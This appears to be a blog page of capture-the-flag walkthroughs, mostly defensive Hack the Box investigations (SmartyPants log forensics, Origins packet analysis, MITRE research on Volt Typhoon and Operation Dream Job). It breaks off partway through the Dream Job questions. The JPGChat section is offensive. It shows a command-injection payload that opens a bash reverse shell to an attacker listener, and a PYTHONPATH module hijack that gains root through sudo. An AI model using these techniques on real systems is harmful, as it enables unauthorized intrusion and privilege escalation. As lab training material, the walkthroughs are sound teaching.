Capture the Flag

Hack the Box Walkthrough: SmartyPants

HTB SmartyPants LogoToday, we’re going to go through the HackTheBox Sherlock (Blue Team) room called SmartyPants. It is a retired Sherlock and you can follow along for free here. There is also a blog post that HTB put out at the same time that talks about how to use SmartScreen logs, which is the core of what we have to do in this room. It is definitely worth reading, because it has a lot of good information not only on how SmartScreen works (and how to enable it), but how to use it from a forensic standpoint.

Turning back to our activity, here’s the scenario:

Forela's CTO, Dutch, stores important files on a separate Windows system because the domain environment at Forela is frequently breached due to its exposure across various industries. On 24 January 2025, our worst fears were realised when an intruder accessed the fileserver, installed utilities to aid their actions, stole critical files, and then deleted them, rendering them unrecoverable. The team was immediately informed of the extortion attempt by the intruders, who are now demanding money. While our legal team addresses the situation, we must quickly perform triage to assess the incident's extent. Note from the manager: We enabled SmartScreen Debug Logs across all our machines for enhanced visibility a few days ago, following a security research recommendation. These logs can provide quick insights, so ensure they are utilised.

To kick it off, we have to download a 4MB zip file called SmartyPants.zip. It is password protected and – as usual – the password is hacktheblue. Inside, there is a folder called Logs and that folder contains 358 .evtx (Windows Event Viewer) files. There are ways to do this with Linux, including multiple utilities that convert .evtx to JSON or CSV. I’m going to just tackle this with Windows.

The contents of the SmartyPants.zip file

Task 1: The attacker logged in to the machine where Dutch saves critical files, via RDP on 24th January 2025. Please determine the timestamp of this login.

Let’s open up the Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx file. It has 33 events in it and I want to filter for Event ID 1149, which represents “Remote Desktop Services: User authentication succeeded”. So I select the Action Filter Current Log… and enter 1149 for the Event ID and click OK. There is literally only one.

Remote Desktop Services: User authentication succeeded:

User: Dutch
Domain: 
Source Network Address: 0:0:fe80::d18c:695%1989170785

The details of the Remote Login

You’ll notice that the user is Dutch and we have our timestamp. However, in this view, it is adjusted for my local time, which is Eastern Daylight Time (currently GMT – 500). If we switch the Event Viewer and look at the XML view, it does show the original time before Windows tried to “help” me.

<TimeCreated SystemTime="2025-01-24T10:15:14.4560120Z" />

Task 1 Answer: 2025-01-24 10:15:14

Task 2: The attacker downloaded a few utilities that aided them for their sabotage and extortion operation. What was the first tool they downloaded and installed?

This time, we want to dig into the Microsoft-Windows-SmartScreen%4Debug.evtx file to see what they were doing. We know they logged on at 5:15AM (my time), which is about when this log starts. So I want to look at earlier events (bottom of my default sort) and not the later ones that are at the top. I clicked through and saw where the user opened MS Edge (which went through a few checks) and then downloaded a file that was also SmartScreen checked.

{"$type":"isFileSupported","executionTime":"9281","path":"C:\\Users\\Dutch\\Downloads\\winrar-x64-701.exe","size":"3912088"}

Task 2 Answer: WinRAR

Task 3: They then proceeded to download and then execute the portable version of a tool that could be used to search for files on the machine quickly and efficiently. What was the full path of the executable?

Same deal here. Stay in the same log and just follow what the user was doing in the browser. It is only a few more log entries above this last one.

{"$type":"isFileSupported","executionTime":"8701","path":"C:\\Users\\Dutch\\Downloads\\Everything.exe","size":"1778192"}

Note that the double slashes are just the tool escaping the slashes. The correct answer only has single backslashes throughout. Also, I’ve seen some complaints in the reviews of this room on HTB where people were upset and didn’t know when to say the tool and when to say the path. Pay very close attention to the question and the preview hints in the textboxes. I don’t know if they’ve updated them since the room was released, but the current version of both is pretty clear.

Task 3 Answer: c:\Users\Dutch\Downloads\Everything.exe

Task 4: What is the execution time of the tool from task 3?

Same log, just keep traversing up / forward in time. Here are the relevant parts of the XML view (so timezone is correct).

<TimeCreated SystemTime="2025-01-24T10:17:33.5613231Z" /> 

<Data Name="Data">{"$type":"isFileSupported","executionTime":"8701","path":"C:\\Users\\Dutch\\Downloads\\Everything.exe","size":"1778192"}</Data> 

Task 4 Answer: 2025-01-24 10:17:33

Task 5: The utility was used to search for critical and confidential documents stored on the host, which the attacker could steal and extort the victim. What was the first document that the attacker got their hands on and breached the confidentiality of that document?

Broken record. Same log, new few log items.

{"$type":"isFileSupported","executionTime":"3720","path":"C:\\Users\\Dutch\\Documents\\2025- Board of directors Documents\\Ministry Of Defense Audit.pdf","size":"2679956"}

Task 5 Answer: C:\Users\Dutch\Documents\2025- Board of directors Documents\Ministry Of Defense Audit.pdf

Task 6: Find the name and path of second stolen document as well.

19 seconds later.

{"$type":"isFileSupported","executionTime":"3726","path":"C:\\Users\\Dutch\\Documents\\2025- Board of directors Documents\\2025-BUDGET-ALLOCATION-CONFIDENTIAL.pdf","size":"523480"}

Task 6 Answer: C:\Users\Dutch\Documents\2025- Board of directors Documents\2025-BUDGET-ALLOCATION-CONFIDENTIAL.pdf

Task 7: The attacker installed a Cloud utility as well to steal and exfiltrate the documents. What is name of the cloud utility?

Stay in the log and keep tracing their movements.

{"$type":"isFileSupported","executionTime":"12443","path":"C:\\Users\\Dutch\\Downloads\\MEGAsyncSetup64.exe","size":"78861432"}

Keep in mind, they asked for the name of the cloud utility not the path or file name. You can find it by intuition or googling that installer name.

Task 7 Answer: MEGAsync

Task 8: When was this utility executed?

You know the drill by now. We keep going and find when the next log entry that contains the execution. Here’s the relevant parts.

<TimeCreated SystemTime="2025-01-24T10:22:19.4792842Z" />
<Data Name="Data">{"$type":"isFileSupported","executionTime":"3675","path":"C:\\Users\\Dutch\\AppData\\Local\\MEGAsync\\MEGAsync.exe","size":"77568264"}</Data> 

Task 8 Answer: 2025-01-24 10:22:19

Task 9: The Attacker also proceeded to destroy the data on the host so it is unrecoverable. What utility was used to achieve this?

Again, just asking for the name. Move on a little further and we get this.

{"$type":"isFileSupported","executionTime":"7943","path":"C:\\Users\\Dutch\\Downloads\\file_shredder_setup.exe","size":"2317839"}

Task 9 Answer: File Shredder

Task 10: The attacker cleared 2 important logs, thinking they covered all their tracks. When was the security log cleared?

We actually have to switch logs for this one. We have only used 3 of the 358 logs, but I guess HTB really wanted you to know not only HOW to look, but WHERE to look. They are asking about the Security log. Open that one, Security.evtx. Scroll to the very bottom (or wherever the earliest log is for you). The Task Category is “Log clear” and the XML has a section called LogFileCleared in the user data. Here are the relevant parts.

<TimeCreated SystemTime="2025-01-24T10:28:41.9338490Z" /> 
<LogFileCleared xmlns="http://manifests.microsoft.com/win/2004/08/windows/eventlog">
<SubjectUserSid>S-1-5-21-3088055692-629932344-1786574096-1003</SubjectUserSid> 
<SubjectUserName>Dutch</SubjectUserName> 
<SubjectDomainName>CTO-FILESVR</SubjectDomainName> 
<SubjectLogonId>0xe1d52</SubjectLogonId> 
</LogFileCleared>

Task 10 Answer: 2025-01-24 10:28:41

That’s it. Not too bad. Maybe it would have been more exciting if I wrestled with some of the Linux-based tools, but – personally – when I’m administering a Windows environment, I definitely have a Windows machine (at least a VM), so this was better practice to learn about SmartScreen. If you did it differently, comment a link to your blog post, writeup, or video and I’ll definitely check it out!

Capture the Flag

TryHackMe Room Walkthrough: JPGChat

THM JPGChat Room LogoToday, we’re going to do a challenge room from TryHackMe called JPGChat. You can find it here. It is a free room rated as Easy, so feel free to follow along. The room description says, “Exploiting poorly made custom chatting service written in a certain language…”. If you take a look at the logo for this room, you can probably guess what that language is. Going in, I was already thinking that we were going to have to deal with some Python. All we get is the instruction to “Hack into the machine and retrieve the flag” and our two tasks are “Establish a foothold and get user.txt” and “Escalate your privileges to root and read root.txt”. Not a lot of frills, but pretty standard fare, so let’s get started.

The first thing I did was add the IP for my instance of this machine into my /etc/hosts file with the name jpgchat.thm. You don’t have to do this and (spoiler alert), I didn’t really need it or use it very much that way in this room.

Enumeration

nmap

The first thing I did was a basic nmap scan. I’ve taken to just doing a fast scan (-T4) of all TCP ports (-p-) with no scripts running just to find the open ports. I’ve been doing so many of these where the room creators have been avoiding ports in the “most common thousand” that nmap uses if you don’t specify, so I started doing this. Then, you can do a more in-depth scan against only those open ports (here I did -A, which enables OS detection, version detection, script scanning, and traceroute). You can see the results below. We have a standard SSH port open and a port 3000. We don’t see a web server version with port 3000, so this may or may not be a web site.

# Basic nmap
root@vici:~# nmap -T4 -p- 10.10.239.7
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-24 14:25 BST
Nmap scan report for jpgchat.thm (10.10.239.7)
Host is up (0.00038s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp
MAC Address: 02:90:3B:F1:10:2D (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.88 seconds

# In-Depth after we found ports
root@vici:~# sudo nmap -A -T4 -p 22,3000 10.10.239.7
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-24 14:26 BST
Nmap scan report for jpgchat.thm (10.10.239.7)
Host is up (0.00054s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fe:cc:3e:20:3f:a2:f8:09:6f:2c:a3:af:fa:32:9c:94 (RSA)
|   256 e8:18:0c:ad:d0:63:5f:9d:bd:b7:84:b8:ab:7e:d1:97 (ECDSA)
|_  256 82:1d:6b:ab:2d:04:d5:0b:7a:9b:ee:f4:64:b5:7f:64 (ED25519)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, NULL: 
|     Welcome to JPChat
|     source code of this service can be found at our admin's github
|     MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
|_    REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.80%I=7%D=6/24%Time=685AA78A%P=x86_64-pc-linux-gnu%r(NU
SF:LL,E2,"Welcome\x20to\x20JPChat\nthe\x20source\x20code\x20of\x20this\x20
SF:service\x20can\x20be\x20found\x20at\x20our\x20admin's\x20github\nMESSAG
SF:E\x20USAGE:\x20use\x20\[MESSAGE\]\x20to\x20message\x20the\x20\(currentl
SF:y\)\x20only\x20channel\nREPORT\x20USAGE:\x20use\x20\[REPORT\]\x20to\x20
SF:report\x20someone\x20to\x20the\x20admins\x20\(with\x20proof\)\n")%r(Gen
SF:ericLines,E2,"Welcome\x20to\x20JPChat\nthe\x20source\x20code\x20of\x20t
SF:his\x20service\x20can\x20be\x20found\x20at\x20our\x20admin's\x20github\
SF:nMESSAGE\x20USAGE:\x20use\x20\[MESSAGE\]\x20to\x20message\x20the\x20\(c
SF:urrently\)\x20only\x20channel\nREPORT\x20USAGE:\x20use\x20\[REPORT\]\x2
SF:0to\x20report\x20someone\x20to\x20the\x20admins\x20\(with\x20proof\)\n"
SF:);
MAC Address: 02:90:3B:F1:10:2D (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.10 - 3.13
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.54 ms jpgchat.thm (10.10.239.7)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.28 seconds

Port 3000

Viewing Port 3000 with a Web Browser

View Source is only that text. It is not markup at all. There is nothing in the Headers that I can see in the response using the Developer Tools. That’s all weird. It is telling us to do stuff, but I can’t do what they are asking me to do. Because of that, and because of general CTF-ness, I’m going to connect with netcat and see if we can interact with it at all or get some more information than we’re getting from nmap or the browser.

root@vici:~# nc 10.10.239.7 3000
Welcome to JPChat
the source code of this service can be found at our admin's github
MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
[MESSAGE]
There are currently 0 other users logged in
[MESSAGE]: hi
[MESSAGE]: wessyde
[MESSAGE]: exit
[MESSAGE]: [REPORT]
this report will be read by Mozzie-jpg
your name:
Me 
your report:
I'm just looking for information... gotcha Mozzie-jpg!
[MESSAGE]: ^C

Okay. So, I can send messages and I can report things. It says the report will be read by Mozzie-jpg. That’s a pretty unique username. Let’s see if we can search that and find anything. The message did say that the source can be found on the admin’s GitHub, this might be what points us to it. And, after about 3 seconds of Googling, I found Mozzie-jpg’s GitHub and then found the repo for this project https://github.com/Mozzie-jpg/JPChat.
Mozzie-jpg's GitHub for this Project

Inside, the source of jpchat.py is this:

#!/usr/bin/env python3

import os

print ('Welcome to JPChat')
print ('the source code of this service can be found at our admin\'s github')

def report_form():

	print ('this report will be read by Mozzie-jpg')
	your_name = input('your name:\n')
	report_text = input('your report:\n')
	os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name)
	os.system("bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text)

def chatting_service():

	print ('MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel')
	print ('REPORT USAGE: use [REPORT] to report someone to the admins (with proof)')
	message = input('')

	if message == '[REPORT]':
		report_form()
	if message == '[MESSAGE]':
		print ('There are currently 0 other users logged in')
		while True:
			message2 = input('[MESSAGE]: ')
			if message2 == '[REPORT]':
				report_form()

chatting_service()

Exploitation

So there doesn’t seem to be any exploit within the chatting function, but [REPORT] sure does. It runs an os.system() Python command with a good old bash -c. If we just do some command injection with nothing more exciting than a semicolon, we’re going to have some wins here. Here’s what I did next to set up a netcat listener, do the command injection to call out to it, then go back and see the connection.

# In a new tab
root@vici:~# nc -lvnp 4444

# In original tab
root@vici:~# nc 10.10.239.7 3000
Welcome to JPChat
the source code of this service can be found at our admin's github
MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
[REPORT]
this report will be read by Mozzie-jpg
your name:
pwn3d
your report:
;bash -i >& /dev/tcp/10.10.136.81/4444 0>&1;

# Back in the new tab...
root@vici:~# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.239.7 55804
bash: cannot set terminal process group (1422): Inappropriate ioctl for device
bash: no job control in this shell
wes@ubuntu-xenial:/$ 

We’re in. Let’s look around and find the user flag.

cd /home/wes
wes@ubuntu-xenial:~$ ls
ls
user.txt
wes@ubuntu-xenial:~$ cat user.txt
cat user.txt
JPC{487030410a543503cbb59ece16178318}

Privilege Escalation

Recon as Wes

Let’s take a look around. I check the groups that Wes belongs to and his sudo privileges. It ends up that he has no interesting groups and can run sudo on one python file.

wes@ubuntu-xenial:~$ id
id
uid=1001(wes) gid=1001(wes) groups=1001(wes)

# No Good Groups, does sudo -l work?
wes@ubuntu-xenial:~$ sudo -l
sudo -l
Matching Defaults entries for wes on ubuntu-xenial:
    mail_badpass, env_keep+=PYTHONPATH

User wes may run the following commands on ubuntu-xenial:
    (root) SETENV: NOPASSWD: /usr/bin/python3 /opt/development/test_module.py

# What is in there?
wes@ubuntu-xenial:~$ cat /opt/development/test_module.py
cat /opt/development/test_module.py
#!/usr/bin/env python3

from compare import *

print(compare.Str('hello', 'hello', 'hello'))

The file doesn’t do very much, but it does import from a module called compare. So, what I can do is make my own compare module and edit my Python path information so that mine module is called instead of the real one and then my code will get executed as root. So, I make my own compare.py file, edit the path to have /home/wes in it.

# I tried a few things but I couldn't get editors to work, 
# nano not at all and vi was weird/buggy 
# I was too lazy to set up .ssh keys for wes to SSH in and 
# have a better shell experience
# I had already upgraded my shell with a Python pty.spawn() command, 
# but that didn't seem to help
# so i did this the hacky way.  I wasn't sure how to do this in one 
# line with a newline so I did it in two steps
wes@ubuntu-xenial:~$ echo "import os" > compare.py
echo "import os" > compare.py
wes@ubuntu-xenial:~$ echo "os.system('/bin/bash')" >> compare.py
echo "os.system('/bin/bash')" >> compare.py
wes@ubuntu-xenial:~$ cat compare.py
cat compare.py
import os
os.system('/bin/bash')
wes@ubuntu-xenial:~$ chmod +x compare.py
chmod +x compare.py
wes@ubuntu-xenial:~$ export PYTHONPATH=/home/wes
export PYTHONPATH=/home/wes

Getting the Root Shell

After that, we just have to run it and then grab the root flag. Everything below the flag is from the root.txt file, these are the room creator’s shoutouts.

# Now to run it
wes@ubuntu-xenial:~$ sudo /usr/bin/python3 /opt/development/test_module.py
sudo /usr/bin/python3 /opt/development/test_module.py
root@ubuntu-xenial:~# whoami
whoami
root
root@ubuntu-xenial:~# cd /root
cd /root
root@ubuntu-xenial:/root# ls
ls
root.txt
root@ubuntu-xenial:/root# cat root.txt
cat root.txt
JPC{665b7f2e59cf44763e5a7f070b081b0a}

Also huge shoutout to Westar for the OSINT idea
i wouldn't have used it if it wasnt for him.
and also thank you to Wes and Optional for all the help while developing

You can find some of their work here:
https://github.com/WesVleuten
https://github.com/optionalCTF
root@ubuntu-xenial:/root# 

That’s it. A good solid beginner room that had a little OSINT, a little code review, some command injection, and a little Python scripting. Hope you enjoyed it!

Capture the Flag

Hack the Box Walkthrough: Origins

HTB Origins LogoWe’re going to keep the pattern going and attack another free Sherlock from HackTheBox called Origins. This is rated “Very Easy” and just consists of a .zip file download containing a .pcap file. As is customary, the password to extract the files is hacktheblue.

Here’s our scenario for this adventure:
A major incident has recently occurred at Forela. Approximately 20 GB of data were stolen from internal s3 buckets and the attackers are now extorting Forela. During the root cause analysis, an FTP server was suspected to be the source of the attack. It was found that this server was also compromised and some data was stolen, leading to further compromises throughout the environment. You are provided with a minimal PCAP file. Your goal is to find evidence of brute force and data exfiltration.

Since our only evidence is in a .pcap file, we’ll have to fire up Wireshark (or your network traffic analyzer of choice).

Task 1: What is the attacker’s IP address?

Looking in the ftp.pcap file, we have multiple protocols represented. Since we know that the ultimate compromise came from FTP, let’s start by filtering traffic that is using the FTP protocol. Adding this as a filter will do the trick: _ws.col.protocol == “FTP”. That gets us down to 163 packets out of the 547 in the file. We can see over and over again that the main source making the requests is 15.206.185.207. If you look, the first few entries have a source of 172.31.45.144, but that is responding. The one making the request for the admin user is 15.206.185.207. Then 172.31.45.144 asks for the password. This makes it definitive which side is which.

Relevant section of the .pcap file showing the answer to task 1

Task 1 Answer: 15.206.185.207

Task 2: It’s critical to get more knowledge about the attackers, even if it’s low fidelity. Using the geolocation data of the IP address used by the attackers, what city do they belong to?

You can go to many different places for this. I’m getting this lookup from this site. Just search the IP and get the city.

Task 2 Answer: Mumbai

Task 3: Which FTP application was used by the backup server? Enter the full name and version. (Format: Name Version)

Take a look back at the filtered capture from Task 1. You can see what the server (172.31.45.144) is responding.

Task 3 Answer: vsFTPd 3.0.5

Task 4: The attacker has started a brute force attack on the server. When did this attack start?

Let’s do an additional filter for only traffic with this IP as the source within the FTP traffic. We can definitely see a brute force attempt happening. If we click the first one (packet 100), it will show details in the bottom left pane. If we expand the Frame 100 section, we can see Arrival Time, UTC Arrival Time, and Epoch Arrival time. The format for the HTB answer wanted one of the two “normal” dates (and not the epoch time). I guessed they wanted UTC as my first shot as that is pretty standard, and that was it.

Relevant section of the .pcap file showing the answer to task 4

Task 4 Answer: 2024-05-03 04:12:54

Task 5: What are the correct credentials that gave the attacker access? (Format username:password)

For this one, I just scrolled down to the end of the attack. I figured the attack would stop when he was successful. When I got to the last row that had PASS in it (number 407). I then right clicked on it and chose Follow -> TCP Stream Ctrl+Alt+Shift+T. That brings up the entire “conversation” in a window and also adds a filter tcp.stream eq 33 so that you now can see all of the individual pieces that make up what has been assembled for us. But from here, we can see what worked.

220 (vsFTPd 3.0.5)

USER forela-ftp

331 Please specify the password.

PASS ftprocks69$

230 Login successful.

SYST

215 UNIX Type: L8

FEAT

211-Features:
 EPRT
 EPSV
 MDTM
 PASV
 REST STREAM
 SIZE
 TVFS
211 End

EPSV

229 Entering Extended Passive Mode (|||63192|)

LIST

150 Here comes the directory listing.
226 Directory send OK.

EPSV

229 Entering Extended Passive Mode (|||40790|)

NLST

150 Here comes the directory listing.
226 Directory send OK.

TYPE I

200 Switching to Binary mode.

SIZE Maintenance-Notice.pdf

213 27855

EPSV

229 Entering Extended Passive Mode (|||9759|)

RETR Maintenance-Notice.pdf

150 Opening BINARY mode data connection for Maintenance-Notice.pdf (27855 bytes).
226 Transfer complete.

MDTM Maintenance-Notice.pdf

213 20240503034329

SIZE s3_buckets.txt

213 268

EPSV

229 Entering Extended Passive Mode (|||23530|)

RETR s3_buckets.txt

150 Opening BINARY mode data connection for s3_buckets.txt (268 bytes).
226 Transfer complete.

MDTM s3_buckets.txt

213 20240503034852

EPSV

229 Entering Extended Passive Mode (|||15028|)

STOR /home/cyberjunkieX0X/HACKED.txt

550 Permission denied.

QUIT

221 Goodbye.

Task 5 Answer: forela-ftp:ftprocks69$

Task 6: The attacker has exfiltrated files from the server. What is the FTP command used to download the remote files?

Look at the command listing from Task 5. You can see it there.

Task 6 Answer: RETR

Task 7: Attackers were able to compromise the credentials of a backup SSH server. What is the password for this SSH server?

Looking at the conversation in Task 5, I don’t see any passwords directly compromised during that interaction. My guess is that they were in some of the files. Let’s take a look at the files that were downloaded. We can see that it looks like the attacker got a file called Maintenance-Notice.pdf and one called s3_buckets.txt. Let’s just go up to the File Menu and select Export Objects -> FTP-DATA. We can then choose Save All and put those files in the directory of our choosing.

The Wireshark Menu options to export the files

The dialog box to save the files

s3_buckets.txt just contains this

https://2023-coldstorage.s3.amazonaws.com # bulk data from 2023, if required anything from here contact simon or alonzo. Retention period is 4 years
https://2022-warmstor.s3.amazonaws.com # pending audit, email alonzo at archivebackups@forela.co.uk for any clearance

Maintenance-Notice.pdf has a lot of information, but contains this juicy paragraph:

For team members requiring urgent access to the backup SSH servers during the maintenance
period, you can use the temporary password "**B@ckup2024!**" - kindly ensure this information is
handled securely and do not share it outside of our team.

Task 7 Answer: **B@ckup2024!**

Task 8: What is the s3 bucket URL for the data archive from 2023?

Just check up in the contents of s3_buckets.txt.

Task 8 Answer: https://2023-coldstorage.s3.amazonaws.com

Task 9: The scope of the incident is huge as Forela’s s3 buckets were also compromised and several GB of data were stolen and leaked. It was also discovered that the attackers used social engineering to gain access to sensitive data and extort it. What is the internal email address used by the attacker in the phishing email to gain access to sensitive data stored on s3 buckets?

This is also in the s3_buckets.txt file.

Task 9 Answer: archivebackups@forela.co.uk

And there we go. That was a fun little exploration of some of the things that Wireshark can do for us.

Capture the Flag

Hack the Box Walkthrough: ElectricBreeze-1

Electric Breeze GraphicToday I’m going to be doing another free Sherlock from Hack the Box called Electric Breeze 1. As you might remember from my last post, Sherlocks are what Hack the Box calls their investigative Capture the Flags (because you’re investigating like Sherlock Holmes, get it?!?).

The scenario says this:
Your security team must always be up-to-date and aware of the threats targeting organizations in your industry. As you begin your journey as a Threat Intelligence Intern, equipped with some SOC experience, your manager has assigned you a task to test your research skills and how effectively you can leverage the MITRE ATT&CK framework. * Conduct thorough research on Volt Typhoon. * Use the MITRE ATT&CK framework to map adversary behavior and tactics into actionable insights. Impress your manager with your assessment, showcasing your passion for threat intelligence.

Unlike the last one, that means that there is nothing to download or start with. We’re just going to do some research and become more familiar and acquainted with some of the Blue Team research tools that are out there.

Task 1: Based on MITRE’s sources, since when has Volt Typhoon been active?

First, we need to look up Volt Typhoon on the MITRE page. Googling MITRE Volt Typoon brought me to this page as my first result. The answer is right in the first paragraph at the top.

Volt Typhoon is a People's Republic of China (PRC) state-sponsored actor that has been active since at least 2021 primarily targeting critical infrastructure organizations in the US and its territories including Guam

Task 1 Answer: 2021

Task 2: MITRE identifies two OS credential dumping techniques used by Volt Typhoon. One is LSASS Memory access (T1003.001). What is the Attack ID for the other technique?

I did a CTRL-F and searched for T1003 to find that part of the page. That brought me right to the two OS Credential Dumping techniques and we can see what the other one is.

Task 2 Answer on Page

Task 2 Answer: T1003.003

Task 3: Which database is targeted by the credential dumping technique mentioned earlier?

If we look at that image again, we can see that they “used ntds.util to create domain controller installation media containing usernames and password hashes“. If you didn’t know what NTDS is, here’s a good succinct definition from Semperis.com, “NTDS.DIT, which stands for the New Technology Directory Services Directory Information Tree, is the database for Active Directory Domain Services (AD DS).” Given the number of characters in the textbox on HTB, we know the answer.

Task 3 Answer: Active Directory

Task 4: Which registry hive is required by the threat actor to decrypt the targeted database?

This one I just knew the hives usually used if you’re attacking a Windows Machine and trying to crack passwords. But if you scroll up the page and find other places that the ntds.dit was referenced, you find this quote. The number of characters tell you which one they are looking for.

Volt Typhoon has saved stolen files including the ntds.dit database and the SYSTEM and SECURITY Registry hives locally to the C:\Windows\Temp\ directory.

Task 4 Answer: SYSTEM

Task 5: During the June 2024 campaign, an adversary was observed using a Zero-Day Exploitation targeting Versa Director. What is the name of the Software/Malware that was used?

If we do a CTRL-F for 2024, we find this referencing the June 2024 attack on Versa Director.

Task 5 Answer on Page

If we click that hyperlink for C0039 and read, we find this “Versa Director Zero Day Exploitation involved the development of a new web shell variant, VersaMem.

Task 5 Answer: VersaMem

Task 6: According to the Server Software Component, what type of malware was observed?

Scroll down a little bit under Techniques Used and we find “Server Software Component: Web Shell

Task 6 Answer: Web Shell

Task 7: Where did the malware store captured credentials?

Click the link for VersaMem from that page. Under Techniques Used, we says “VersaMem staged captured credentials locally at /tmp/.temp.data.

Task 7 Answer: /tmp/.temp.data

Task 8: According to MITRE’s reference, a Lumen/Black Lotus Labs article(Taking The Crossroads: The Versa Director Zero-Day Exploitation.), what was the filename of the first malware version scanned on VirusTotal?

Scroll to the bottom of that VersaMem page under the References section and click the link they describe. You find this early in the article, “The VersaMem web shell is a sophisticated JAR web shell that was uploaded to VirusTotal on June 7, 2024, with the filename “VersaTest.png” and currently has zero anti-virus (AV) detections.

Task 8 Answer: VersaTest.png

Task 9: What is the SHA256 hash of the file?

Scroll down a bit in the article. They show an image of it from VirusTotal with the hash below it.

Task 9 Answer: 4bcedac20a75e8f8833f4725adfc87577c32990c3783bf6c743f14599a176c37

Task 10: According to VirusTotal, what is the file type of the malware?

We can just go to VirusTotal and search that hash now that we have it and we get here. The answer is right at the top (and also in the quote back in Task 8).

Task 10 Answer: jar

Task 11: What is the ‘Created by’ value in the file’s Manifest according to VirusTotal?

Click the Details tab and scroll down to the Manifest section

Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Created-By: Apache Maven 3.6.0
Built-By: versa
Build-Jdk: 11.0.19
Agent-Class: com.versa.vnms.ui.TestMain
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Main-Class: com.versa.vnms.ui.TestMain
Premain-Class: com.versa.vnms.ui.TestMain

Task 11 Answer: Apache Maven 3.6.0

Task 12: What is the CVE identifier associated with this malware and vulnerability?

Go back to the detection tab on Virus total and under the DrWeb analysis, it calls it Exploit.CVE-2024-39717.1. That gives you the Exploit in the middle there.

Task 12 Answer: CVE-2024-39717

Task 13: According to the CISA document(https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf) referenced by MITRE, what is the primary strategy Volt Typhoon uses for defense evasion?

Go read that link. Under the section titled “Defense Evasion”, it says “Volt Typhoon has strong operational security. Their actors primarily use LOTL for defense evasion, which allows them to camouflage their malicious activity with typical system and network behavior, potentially circumventing simplistic endpoint security capabilities.” (Note: LOTL means “Living of the Land”, meaning that the attackers use tools that are already on the system or network instead of installing additional tools from outside the machine/network.)

Task 13 Answer: LOTL

Task 14: In the CISA document, which file name is associated with the command potentially used to analyze logon patterns by Volt Typhoon?

To the document again, “Specifically, in one incident, analysis of the PowerShell console history of a domain
controller indicated that security event logs were directed to a file named user.dat, as evidenced by the executed command Get-EventLog security -instanceid 4624 -after [year-month-date] | fl * | Out-File ‘C:\users\public\documents\user.dat’.

Task 14 Answer: C:\users\public\documents\user.dat

Thats it. A lot of questions/tasks on this one and we just had to do a little research across MITRE, VirusTotal, and a few articles. This really highlights one of the largest, most important tasks if you’re on the Blue Team – research. You have to know about threats and threat actors and stay up to date. Then, you need to understand the things that we researched here so you can tune your rules to be able to identify if these attacks or attackers are targeting you.

Capture the Flag

Hack the Box Walkthrough: Dream Job-1

Hack the Box Dream Job Title ImageOur capture the flag walkthrough today is found over on Hack the Box (HTB). Instead of the offensive security walkthroughs that I’ve been doing, this one is more focused on defensive investigative skills. These classifications for these rooms at HTB are called “Sherlocks” and today’s room is a retired free one called Dream Job-1. It focuses on researching a specific attack campaign, the attackers, and their tactics. Let’s get started.

The first thing we have to do is download the attached zip file called DreamJob1.zip. They give you the password to extract it as hacktheblue. Inside the zip is one file named IOCs.txt containing 3 lines of text. For now, we won’t need this file until Question 10.

Task 1: Who Conducted Operation Dream Job?

So unlike TryHackMe, Hack the Box doesn’t really teach you how to do things. You either have to know how, have worked through some of their training elsewhere, have access to walkthroughs, or be good at searching. In this case, we’re going to go to the MITRE ATT&CK® homepage at https://attack.mitre.org/. Click on CTI then Campaigns.

MITRE ATT&CK® Campaigns Menu

Scroll down until you get to C0022 Operation Dream Job or Ctrl-F and search for Operation Dream Job on the page.

Operation Dream Job Overview

Task 1 Answer: Lazarus Group


Task 2: When was this operation first observed?

Click the name or ID of the campaign and it takes you here: https://attack.mitre.org/campaigns/C0022/. You can see in the Info Box on the right some quick info about this campaign, including when it was First Seen.

Operation Dream Job Info Box

Task 2 Answer: September 2019


Task 3: There are 2 campaigns associated with Operation Dream Job. One is Operation North Star, what is the other?

Using the same image, we can see the Associated Campaigns.

Task 3 Answer: Operation Interception


Task 4: During Operation Dream Job, there were the two system binaries used for proxy execution. One was Regsvr32, what was the other?

Scroll down or search for Binary Proxy Execution. You can see the two mentioned, the answer is the other one.
Operation Dream Job Binary Proxy Execution Tactic

Task 4 Answer: Rundll32


Task 5: What lateral movement technique did the adversary use?

On the page, near the top, you can click into the ATT&CK® Navigator Layers dropdown and View.
Operation Dream Job Navigator Layers Dropdown

After you get to the layers, horizontally scroll right until you see Lateral Movement. Click the header to have the column highlighted (can be a bit cramped and this helps to see).
Operation Dream Job Lateral Movement Technique

Task 5 Answer: Internal Spearphishing


Task 6: What is the technique ID for the previous answer?
Hover/Click on that highlighted part and read the kick out.

Task 6 Answer: T1534


Task 7: What Remote Access Trojan did the Lazarus Group use in Operation Dream Job?
